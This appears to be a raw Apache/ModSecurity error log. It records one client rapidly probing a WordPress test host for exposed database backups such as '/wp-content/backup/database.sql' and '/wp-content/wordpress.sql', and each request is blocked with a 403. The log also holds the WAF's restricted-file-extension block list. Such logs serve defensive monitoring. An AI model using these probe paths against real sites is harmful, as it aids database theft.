[Mon Jul 28 20:46:28.308850 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/db_backup.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cXwAAAAM&quot;]
[Mon Jul 28 20:46:28.329522 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/fullbackup.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cYAAAAAM&quot;]
[Mon Jul 28 20:46:28.329865 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/fullbackup.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cYAAAAAM&quot;]
[Mon Jul 28 20:46:28.330040 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/fullbackup.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cYAAAAAM&quot;]
[Mon Jul 28 20:46:28.350385 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/fullwebsite.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cYQAAAAM&quot;]
[Mon Jul 28 20:46:28.350732 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/fullwebsite.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cYQAAAAM&quot;]
[Mon Jul 28 20:46:28.350930 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/fullwebsite.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cYQAAAAM&quot;]
[Mon Jul 28 20:46:28.371125 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/data.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cYgAAAAM&quot;]
[Mon Jul 28 20:46:28.371464 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/data.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cYgAAAAM&quot;]
[Mon Jul 28 20:46:28.371755 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/data.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cYgAAAAM&quot;]
[Mon Jul 28 20:46:28.391962 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/data.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cYwAAAAM&quot;]
[Mon Jul 28 20:46:28.392314 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/data.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cYwAAAAM&quot;]
[Mon Jul 28 20:46:28.392548 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/data.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cYwAAAAM&quot;]
[Mon Jul 28 20:46:28.412806 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/data.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cZAAAAAM&quot;]
[Mon Jul 28 20:46:28.413150 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/data.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cZAAAAAM&quot;]
[Mon Jul 28 20:46:28.413341 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/data.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cZAAAAAM&quot;]
[Mon Jul 28 20:46:28.433818 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/data.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cZQAAAAM&quot;]
[Mon Jul 28 20:46:28.434190 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/data.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cZQAAAAM&quot;]
[Mon Jul 28 20:46:28.434400 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/data.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cZQAAAAM&quot;]
[Mon Jul 28 20:46:28.454617 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/database.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cZgAAAAM&quot;]
[Mon Jul 28 20:46:28.454958 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/database.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cZgAAAAM&quot;]
[Mon Jul 28 20:46:28.455189 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/database.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cZgAAAAM&quot;]
[Mon Jul 28 20:46:28.475349 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/database.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cZwAAAAM&quot;]
[Mon Jul 28 20:46:28.475708 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/database.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cZwAAAAM&quot;]
[Mon Jul 28 20:46:28.475895 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/database.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cZwAAAAM&quot;]
[Mon Jul 28 20:46:28.496078 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/wordpress.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1caAAAAAM&quot;]
[Mon Jul 28 20:46:28.496438 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/wordpress.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1caAAAAAM&quot;]
[Mon Jul 28 20:46:28.496640 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/wordpress.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1caAAAAAM&quot;]
